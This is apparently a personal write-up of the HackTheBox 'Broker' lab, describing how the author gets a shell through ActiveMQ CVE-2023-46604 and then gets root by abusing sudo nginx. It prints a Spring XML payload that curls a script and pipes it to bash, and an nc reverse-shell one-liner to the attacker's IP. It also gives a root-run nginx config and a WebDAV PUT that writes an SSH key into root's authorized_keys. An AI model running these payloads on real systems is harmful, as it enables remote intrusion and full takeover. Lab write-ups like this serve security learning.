HackTheBox: Broker
01/13/2024
This is a straight-to-retired easy linux box that came out a few days ago.
Enumeration
We have a LOT of ports open. I'm not sure if these are all relevant or not:
22/tcp open ssh
80/tcp open http
1883/tcp open mqtt
5672/tcp open amqp
34951/tcp open unknown
61613/tcp open unknown
61614/tcp open unknown
61616/tcp open unknown
Script scan shows that the machine appears to be running Ubuntu.
mqtt is an IoT messaging protocol for sensors and mobile devices.
Enumerating the website
I will manually investigate the website while running some automatic recon tools in the background. Ill be running: 1) nikto 2) gobuster dir scan 3) gobuster vhost scan
Nikto found credentials almost instantly:
+ /: Default account found for 'ActiveMQRealm' at (ID 'admin', PW 'admin'). Generic account discovered.. See: CWE-16
so we should have some credentials, admin:admin
The password found is for Apache's ActiveMQ, which describes itself as
Apache ActiveMQ® is the most popular open source, multi-protocol, Java-based message broker.
IBM defines a "message broker" as
A message broker is software that enables applications, systems, and services to communicate with each other and exchange information.
Funny enough, the ActiveMQ website has a bulletin titled ==Update on CVE-2023-46604== from November third (the box released november 9th). Let's see what that's about.
CVE-2023-46604
From the activemq website (https://activemq.apache.org/news/cve-2023-46604):
The Java OpenWire protocol marshaller is vulnerable to Remote Code Execution. This vulnerability may allow a remote attacker with network access to either a Java-based OpenWire broker or client to run arbitrary shell commands by manipulating serialized class types in the OpenWire protocol to cause either the client or the broker (respectively) to instantiate any class on the classpath.
Getting a revshell using PoC
I used the proof-of-concept found here (https://github.com/X1r0z/ActiveMQ-RCE) to get a revshell. Putting the shell directly in poc.xml
didnt work, so what I wound up doing was using the payload to curl a revshell script from my python server and pipe it into bash. This wound up working.
The poc.xml file:
html
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>sh</value>
<value>-c</value>
<value>curl http://10.10.14.12:1234/revshell.sh | bash</value>
</list>
</constructor-arg>
</bean>
</beans>
revshell.sh:
bash
rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.12 4444 >/tmp/f
and the command:
./ActiveMQ-RCE -i broker.htb -u http://10.10.14.12:1234/poc.xml
Now, on my listener.
$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.11.243] 57204
/bin/sh: 0: can't access tty; job control turned off
$ whoami
activemq
Nice. Lets upgrade this thing and get to work.
Internal enumeration/priv esc
No other users except root. Kernel was compiled october 3rd, so I want to check if it's vulnerable to the Looney Tunables exploit, CVE-2023-4911.
gcc
is available on the machine which is a good sign.
It does NOT appear to be vulnerable based on the fact that this line does not produce a seg fault:
env -i "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A" "Z=`printf '%08192x' 1`" /usr/bin/su --help
I didnt even bother checking sudo -l
because I don't know this user's password (activemq
), but linpeas found that he CAN run sudo:
activemq@broker:/opt/apache-activemq-5.15.15$ sudo -l
Matching Defaults entries for activemq on broker:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User activemq may run the following commands on broker:
(ALL : ALL) NOPASSWD: /usr/sbin/nginx
So I can run nginx with sudo. Time to check gtfobins: nothing.
Time for some brainstorming.
Leveraging nginx with sudo
I think I cheated here. I did not actually get a root shell, but I got a root-privileged LFI by modifying the config file to point to /root/root.txt
, then running an nginx server as root with this conf file using sudo nginx -c /home/activemq/nginx.conf
. The file is:
user root;
worker_processes auto;
events {
worker_connections 768;
# multi_accept on;
}
http {
##
# Basic Settings
##
sendfile on;
tcp_nopush on;
types_hash_max_size 2048;
# server_tokens off;
# server_names_hash_bucket_size 64;
# server_name_in_redirect off;
include /etc/nginx/mime.types;
default_type application/octet-stream;
##
# SSL Settings
##
ssl_protocols TLSv1 TLSv1.1 TLSv1.2 TLSv1.3; # Dropping SSLv3, ref: POODLE
ssl_prefer_server_ciphers on;
##
# Logging Settings
##
access_log /home/activemq/access.log;
error_log /home/activemq/error.log;
##
# Gzip Settings
##
gzip on;
# gzip_vary on;
# gzip_proxied any;
# gzip_comp_level 6;
# gzip_buffers 16 8k;
# gzip_http_version 1.1;
# gzip_types text/plain text/css application/json application/javascript text/xml application/xml application/xml+rss text/javascript;
##
# Virtual Host Configs
##
server {
listen 1357;
location / {
root /root;
index root.txt;
}
}
}
#mail {
# # See sample authentication script at:
# # http://wiki.nginx.org/ImapAuthenticateWithApachePhpScript
#
# # auth_http localhost/auth.php;
# # pop3_capabilities "TOP" "USER";
# # imap_capabilities "IMAP4rev1" "UIDPLUS";
#
# server {
# listen localhost:110;
# protocol pop3;
# proxy on;
# }
#
# server {
# listen localhost:143;
# protocol imap;
# proxy on;
# }
#}
The important parts are here:
user root;
<SNIP>
server {
listen 1337;
location / {
root /root;
index root.txt;
}
This opens a server on 1337 that fetches the root flag as the index. It worked.
At this point Im going to read the writeup to see what the INTENDED method was.
I was going to try to get root shell with log poisoning, but this machine doesnt have PHP.
All told this took about 3 hours and 15 minutes.
The Intended Route
From the writeup:
Checking our sudo privileges reveals that we can load our own nginx configuration file.
There are a few different approaches one could take at this point to leverage this configuration to
obtain root privileges, such as the method disclosed in this Zimbra article back in 2021, which
involved writing a log file into a shared object library loaded by sudo .
However, we opt for a much simpler route: we will use the ngx_http_dav_module to write our
public SSH key into the root user's authorized_keys file.
It's funny how similar their conf file is to mine; they even used the same port, 1337:
user root;
worker_processes 4;
pid /tmp/nginx.pid;
events {
worker_connections 768;
}
http {
server {
listen 1337;
root /;
autoindex on;
dav_methods PUT;
}
}
It explains the dav_methods
line as follows:
dav_methods PUT : We enable the WebDAV HTTP extension with the PUT method, which
allows clients to upload files.
They launch the server the same way I did, using
sudo nginx -c /tmp/pwn.conf
Then they upload ssh public key as follows:
curl -X PUT localhost:1337/root/.ssh/authorized_keys -d "$(cat root.pub)"
Okay. I followed the above process, then ssh'd in and got root:
root@broker:~#